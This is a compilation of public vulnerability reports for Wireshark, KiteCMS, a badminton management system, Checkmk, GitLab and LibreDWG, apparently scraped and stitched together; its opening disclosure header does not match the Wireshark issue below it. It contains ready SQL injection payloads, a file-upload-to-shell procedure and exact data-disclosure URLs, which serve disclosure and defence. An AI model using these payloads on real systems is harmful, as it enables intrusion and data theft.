2021-10-21 - Initial vendor contact  
2021-10-26 - Vendor disclosure  
2022-02-01 - Public Release  

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

Crash in the OPUS protocol dissector in Wireshark 3.6.0 to 3.6.8 allows denial of service via packet injection or crafted capture file

Skip to content

Open Issue created Sep 26, 2022 by **Qiuhao Li@QiuhaoLi**

**Stack Overflow Write - OPUS dissector - dissect\_opus() frames**

**Summary**

In dissect\_opus() at wireshark-3.6.8/epan/dissectors/packet-opus.c:254, frame\_count is truncated below 0x3F (63) and checked if framesize \* frame\_count > 120 \* MAX\_FRAMES\_COUNT. But when stack variable frames\[MAX\_FRAMES\_COUNT\] is indexed with frame\_count later, **we didn't make sure frame\_count won't excess MAX\_FRAMES\_COUNT, leading to stack-over-flow write when the begin/size values are put into frames later.**

This flaw affects the current released stable wireshark/tshark/... on Linux/Windows/Mac/..., previous versions may also be affected. This issue hasn't been reported elsewhere.

**Steps to reproduce**

Open the attachment rtp\_opus\_stackoverflow\_poc.pcap with wireshark or tshark. For wireshark GUI it will crash. For tshark it will complain "\*\*\* stack smashing detected \*\*\*: terminated Aborted (core dumped)":

I reproduced this flaw on the current stable version (wireshark-3.6.8) and the latest release version (wireshark-4.0.0rc2). You can view the ASAN report below for more details.

**What is the current bug behavior?**

CWE-121: Stack-based Buffer Overflow (4.8).

**What is the expected correct behavior?**

Make sure frame\_count is not bigger than MAX\_FRAMES\_COUNT.

**Relevant logs and/or screenshots**

ASAN Report:

    qiuhao@VBox:~/wireshark_src/wireshark-3.6.8$ ./run/tshark -r ./rtp_opus_stackoverflow_poc.pcap 
    
        1   0.000000 10.100.147.143 → 10.100.148.44 SIP/SDP 2799 Request: INVITE sip:10.100.148.44 | 
    
    =================================================================
    
    ==83225==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc7ffcd4e2 at pc 0x7fe14f611705 bp 0x7ffc7ffcd330 sp 0x7ffc7ffcd320
    
    WRITE of size 2 at 0x7ffc7ffcd4e2 thread T0
    
        #0 0x7fe14f611704 in parse_size_field /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-opus.c:117
    
        #1 0x7fe14f612764 in dissect_opus /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-opus.c:290
    
        #2 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #3 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #4 0x7fe14e3e8c05 in dissector_try_string_new /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:1751
    
        #5 0x7fe14e3e8c9a in dissector_try_string /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:1776
    
        #6 0x7fe14f875146 in process_rtp_payload /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-rtp.c:1354
    
        #7 0x7fe14f875671 in dissect_rtp_data /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-rtp.c:1498
    
        #8 0x7fe14f879c92 in dissect_rtp /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-rtp.c:2307
    
        #9 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #10 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #11 0x7fe14e3ee90e in call_dissector_only /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3270
    
        #12 0x7fe14e3b2b70 in try_conversation_call_dissector_helper /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/conversation.c:1362
    
        #13 0x7fe14e3b2d60 in try_conversation_dissector /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/conversation.c:1392
    
        #14 0x7fe14fc6d8c6 in decode_udp_ports /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-udp.c:655
    
        #15 0x7fe14fc722cf in dissect /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-udp.c:1267
    
        #16 0x7fe14fc7239f in dissect_udp /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-udp.c:1273
    
        #17 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #18 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #19 0x7fe14e3e80a1 in dissector_try_uint_new /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:1450
    
        #20 0x7fe14f07e700 in ip_try_dissect /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-ip.c:1817
    
        #21 0x7fe14f081668 in dissect_ip_v4 /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-ip.c:2306
    
        #22 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #23 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #24 0x7fe14e3e80a1 in dissector_try_uint_new /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:1450
    
        #25 0x7fe14e3e813c in dissector_try_uint /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:1474
    
        #26 0x7fe14ece5264 in dissect_ethertype /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-ethertype.c:296
    
        #27 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #28 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #29 0x7fe14e3ee90e in call_dissector_only /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3270
    
        #30 0x7fe14e3ee955 in call_dissector_with_data /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3283
    
        #31 0x7fe14f9cbc9f in dissect_payload /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-sll.c:414
    
        #32 0x7fe14f9cc142 in dissect_sll_common /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-sll.c:518
    
        #33 0x7fe14f9cc2c0 in dissect_sll_v1 /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-sll.c:547
    
        #34 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #35 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #36 0x7fe14e3ee90e in call_dissector_only /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3270
    
        #37 0x7fe14ed6003d in dissect_frame /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-frame.c:935
    
        #38 0x7fe14e3e557d in call_dissector_through_handle /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:757
    
        #39 0x7fe14e3e5b2f in call_dissector_work /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:850
    
        #40 0x7fe14e3ee90e in call_dissector_only /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3270
    
        #41 0x7fe14e3ee955 in call_dissector_with_data /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:3283
    
        #42 0x7fe14e3e3dfe in dissect_record /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/packet.c:624
    
        #43 0x7fe14e3c2448 in epan_dissect_run_with_taps /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/epan.c:629
    
        #44 0x5650067314cc in process_packet_single_pass /home/qiuhao/wireshark_src/wireshark-3.6.8/tshark.c:3863
    
        #45 0x56500672f645 in process_cap_file_single_pass /home/qiuhao/wireshark_src/wireshark-3.6.8/tshark.c:3510
    
        #46 0x565006730633 in process_cap_file /home/qiuhao/wireshark_src/wireshark-3.6.8/tshark.c:3674
    
        #47 0x56500672a574 in main /home/qiuhao/wireshark_src/wireshark-3.6.8/tshark.c:2103
    
        #48 0x7fe145f5fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    
        #49 0x7fe145f5fe3f in __libc_start_main_impl ../csu/libc-start.c:392
    
        #50 0x565006723c94 in _start (/home/qiuhao/wireshark_src/wireshark-3.6.8/run/tshark+0x33c94)
    
    
    
    Address 0x7ffc7ffcd4e2 is located in stack of thread T0 at offset 258 in frame
    
        #0 0x7fe14f611a1d in dissect_opus /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-opus.c:153
    
    
    
      This frame has 4 object(s):
    
        [32, 33) 'toc' (line 161)
    
        [48, 50) 'framesize' (line 164)
    
        [64, 256) 'frames' (line 168) <== Memory access at offset 258 overflows this variable
    
        [320, 322) 'octet' (line 161)
    
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
    
          (longjmp and C++ exceptions *are* supported)
    
    SUMMARY: AddressSanitizer: stack-buffer-overflow /home/qiuhao/wireshark_src/wireshark-3.6.8/epan/dissectors/packet-opus.c:117 in parse_size_field
    
    Shadow bytes around the buggy address:
    
      0x10000fff1a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1a70: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
    
      0x10000fff1a80: 01 f2 02 f2 00 00 00 00 00 00 00 00 00 00 00 00
    
    =>0x10000fff1a90: 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2 f2 f2
    
      0x10000fff1aa0: f2 f2 f2 f2 02 f3 f3 f3 00 00 00 00 00 00 00 00
    
      0x10000fff1ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
      0x10000fff1ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
    Shadow byte legend (one shadow byte represents 8 application bytes):
    
      Addressable:           00
    
      Partially addressable: 01 02 03 04 05 06 07 
    
      Heap left redzone:       fa
    
      Freed heap region:       fd
    
      Stack left redzone:      f1
    
      Stack mid redzone:       f2
    
      Stack right redzone:     f3
    
      Stack after return:      f5
    
      Stack use after scope:   f8
    
      Global redzone:          f9
    
      Global init order:       f6
    
      Poisoned by user:        f7
    
      Container overflow:      fc
    
      Array cookie:            ac
    
      Intra object redzone:    bb
    
      ASan internal:           fe
    
      Left alloca redzone:     ca
    
      Right alloca redzone:    cb
    
      Shadow gap:              cc
    
    ==83225==ABORTING
    

**Build information**

    TShark (Wireshark) 3.6.8 (Git commit d25900c51508)
    
    
    
    Copyright 1998-2022 Gerald Combs <gerald@wireshark.org> and contributors.
    
    License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.html>
    
    This is free software; see the source for copying conditions. There is NO
    
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    
    
    
    Compiled (64-bit) using GCC 11.2.0, with libpcap, with POSIX capabilities
    
    (Linux), with libnl 3, with GLib 2.72.1, with zlib 1.2.11, with Lua 5.2.4, with
    
    GnuTLS 3.7.3 and PKCS #11 support, with Gcrypt 1.9.4, with MIT Kerberos, with
    
    MaxMind DB resolver, with nghttp2 1.43.0, with brotli, with LZ4, with Zstandard,
    
    with Snappy, with libxml2 2.9.13, with libsmi 0.4.8.
    
    
    
    Running on Linux 5.15.0-47-generic, with 11th Gen Intel(R) Core(TM) i7-11850H @
    
    2.50GHz (with SSE4.2), with 7949 MB of physical memory, with GLib 2.72.1, with
    
    zlib 1.2.11, with libpcap 1.10.1 (with TPACKET_V3), with c-ares 1.18.1, with
    
    GnuTLS 3.7.3, with Gcrypt 1.9.4, with nghttp2 1.43.0, with brotli 1.0.9, with
    
    LZ4 1.9.3, with Zstandard 1.4.8, with libsmi 0.4.8, with LC_TYPE=en_US.UTF-8,
    
    binary plugins supported (0 loaded).

Omit 4.0.0 and Windows/Linux/Mac GUI Version...

CVE-2022-3725: Stack Overflow Write - OPUS dissector - dissect_opus() frames (#18378) · Issues · Wireshark Foundation / wireshark · GitLab

File Upload vulnerability found in KiteCMS v.1.1 allows a remote attacker to execute arbitrary code via the uploadFile function.

1.  Log in to the website backend
    
    url:/index.php/admin/passport/login.html
    
2.  Add php file extension
    
    System -> site config -> upload ->image extension
    
3.  Upload malicious scripts through the upload interface
    
    > Use burp to bypass js detection
    
4.  Get the path of the uploaded file
    
5.  Get shell
    

**Code audit**

/application/admin/controller/Upload.php uploadFile()

public function uploadFile()
{
// 获取表单上传文件
$file = Request::file('file');

$uploadObj = new UploadFile($this\->site\_id);
$ret = $uploadObj\->upload($file, 'image');

if ($ret) {
return $this\->response(200, '上传成功', $ret);
} else {
return $this\->response(201, $uploadObj\->getError());
}
}

follow up function :upload()

> /application/common/model/UploadFile.php
> 
> According to the 16th line of Upload.php, the second parameter of the upload function is image

public function upload($file, $fileType = 'image')
{
// 验证文件类型及大小
switch ($fileType)
{
case 'image':
$result = $file\->check(\['ext' => $this\->config\['upload\_image\_ext'\], 'size' => $this\->config\['upload\_image\_size'\]\*1024\]);
if(empty($result)){
// 上传失败获取错误信息
$this\->error = $file\->getError();
return false;
}
break;
.....

follow up function: check()

> thinkphp/library/think/File.php
> 
> $rule has been modified to: {ext=> "jpg,png,gif,php", size=>2097152}

public function check($rule = \[\])
{
$rule = $rule ?: $this\->validate;

if ((isset($rule\['size'\]) && !$this\->checkSize($rule\['size'\]))
|| (isset($rule\['type'\]) && !$this\->checkMime($rule\['type'\]))
|| (isset($rule\['ext'\]) && !$this\->checkExt($rule\['ext'\]))
|| !$this\->checkImg()) {
return false;
}

return true;
}

> File size will not exceed the maximum，php in the whitelist of file extensions，$rule['type'] is not set，then follow the function：checkImg()

public function checkImg()
    {
        $extension = strtolower(pathinfo($this\->getInfo('name'), PATHINFO\_EXTENSION));

        /\* 对图像文件进行严格检测 \*/
        if (in\_array($extension, \['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'\]) && !in\_array($this\->getImageType($this\->filename), \[1, 2, 3, 4, 6, 13\])) {
            $this\->error = 'illegal image files';
            return false;
        }

        return true;
    }

> The value of variable $extension is php,so the first half of the conditional statement is false.
> 
> The function named checkImg returns true,and function check() return true.

CVE-2021-3267: File upload vulnerability leads to getshell · Issue #6 · Kitesky/KiteCMS

Badminton Center Management System V1.0 is vulnerable to SQL Injection via parameter 'id' in /bcms/admin/court_rentals/update_status.php.

1.  Description:

Badminton Center Management System allows SQL Injection via parameter 'id' in /bcms/admin/court\_rentals/update\_status.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2.  Proof of Concept:

In Burpsuite intercept the request from the affected page with 'customer\_number' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:

sqlmap.py -r poc.txt --dbms=mysql

3.  Example payloads:

Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=test' AND 7374=(SELECT (CASE WHEN (7374=7374) THEN 7374 ELSE (SELECT 6961 UNION SELECT 8511) END))-- -&status=3
    
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=test' AND EXTRACTVALUE(8482,CONCAT(0x5c,0x71627a6b71,(SELECT (ELT(8482=8482,1))),0x71626a6271))-- ukNa&status=3
    
    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: id=test' AND 9267=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- JYkT&status=3
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: id=test' UNION ALL SELECT CONCAT(0x71627a6b71,0x76455372796b6b59767845715272496c626e7a4b6b5a4c664f48736258654b6359576c52474b5356,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&status=3
    

4.  Burpsuite request:

GET /bcms/admin/court\_rentals/update\_status.php?id=2%20%2b%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2f\*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%22\*%2f%20%2f\*%2042ef7f74-0853-4e23-9722-b42223e2b1b9%20\*%2f&status=3 HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,_/_;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Cookie: PHPSESSID=0oviirpbcg8rf511ik98trenv1 Referer: http://localhost/bcms/admin/court\_rentals/update\_status.php?id=2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

CVE-2022-30490: GitHub - yasinyildiz26/Badminton-Center-Management-System

Checkmk <=2.0.0p19 Fixed in 2.0.0p20 and Checkmk <=1.6.0p27 Fixed in 1.6.0p28 are affected by a Cross Site Scripting (XSS) vulnerability. The Alias of a site was not properly escaped when shown as condition for notifications.

Component

Setup

Title

Persistant XSS in Notification configuration

Date

Jan 27, 2022

Checkmk Editon

Checkmk Raw (CRE)

Checkmk Version

2.0.0p20 1.6.0p28

Level

Trivial Change

Class

Security Fix

Compatibility

Compatible - no manual interaction needed

This Werk fixes a Persistant Cross-Site-Scripting (XSS) vulnerability. (CWE-79)

The _Alias_ of a site was not properly escaped when shown as condition for notifications.

To mitigate this vulnerability ensure that only trustwothy users have the _Notification configuration_ and _Site management_ rights. These are _admin_ rights by default.

Checkmk 1.6 and Checkmk 2.0 were subject to this vulnerability.

To detect if this vulnerability is/was used you can check etc/check\_mk/multisite.d/sites.mk and etc/check\_mk/conf.d/wato/notifications.mk for HTML code. Please be aware that an attacker could delete the code after a attack.

CVE is requested and will be added later.

CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:N (5.2 medium)

We thank Manuel Sommer for finding this vulnerability and bringing this to our attention.

To the list of all Werks

CVE-2022-24565: Persistant XSS in Notification configuration

In all versions of GitLab CE/EE since version 11.3, the endpoint for auto-completing Assignee discloses the members of private groups.

**HackerOne report #627507** by `ngalog` on 2019-06-24, assigned to `estrike`:

**Summary**

I have a project, with id `10257668`, and I have invited a private group as a developer to this project. As that group is private, you should not see its membership. However, there is a way to find out project's private membership:

*   Correct permission check: https://gitlab.com/api/v4/projects/:project\_id/members - does not disclose private group's membership.
*   Incorrect permission check: https://gitlab.com/autocomplete/users.json?search=&active=true&project\_id=10257668&current\_user=true - discloses the members of private group.

**Steps to reproduce:**

1.  Login to gitlab.com.
2.  Visit this project members page: https://gitlab.com/api/v4/projects/10257668/members. See this project has only one member.
3.  Visit https://gitlab.com/autocomplete/users.json?search=&active=true&project\_id=10257668&current\_user=true. See this project has more than one member, thus disclosing the private membership.

**Impact**

Disclosure of members in a private group.

**Proposal**

The autocomplete endpoint should use the permission check from the Project Members API endpoint (`https://gitlab.com/api/v4/projects/[project-id]/members`).

CVE-2021-39876: Endpoint for auto-completing Assignee discloses the members of private groups (#29683) · Issues · GitLab.org / GitLab

LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_write_TF at bits.c.

**Comments**

 rurban changed the title \[BUG\] two bugs in dwg2dxf \[FUZZ\] two bugs in dwg2dxf

Mar 30, 2023

rurban added a commit that referenced this issue

Mar 30, 2023

Sanitize wrong auxheader\_address or auxheader\_size.
Fixes part1 of GH #677

rurban added a commit that referenced this issue

Mar 30, 2023

1.: use unsigned length
2.: fix wrong size check for case 9, long len.

Fixes GH #677

rurban added a commit that referenced this issue

Mar 30, 2023

Sanitize wrong auxheader\_address or auxheader\_size.
Fixes part1 of GH #677

rurban added a commit that referenced this issue

Mar 30, 2023

1.: use unsigned length
2.: fix wrong size check for case 9, long len.

Fixes GH #677

rurban added a commit that referenced this issue

Mar 30, 2023

Sanitize wrong auxheader\_address or auxheader\_size.
Fixes part1 of GH #677

rurban added a commit that referenced this issue

Mar 30, 2023

1.: use unsigned length
2.: fix wrong size check for case 9, long len.

Fixes GH #677

rurban added a commit that referenced this issue

Mar 31, 2023

Search

lenovo warranty check/lookup | check warranty status | lenovo support us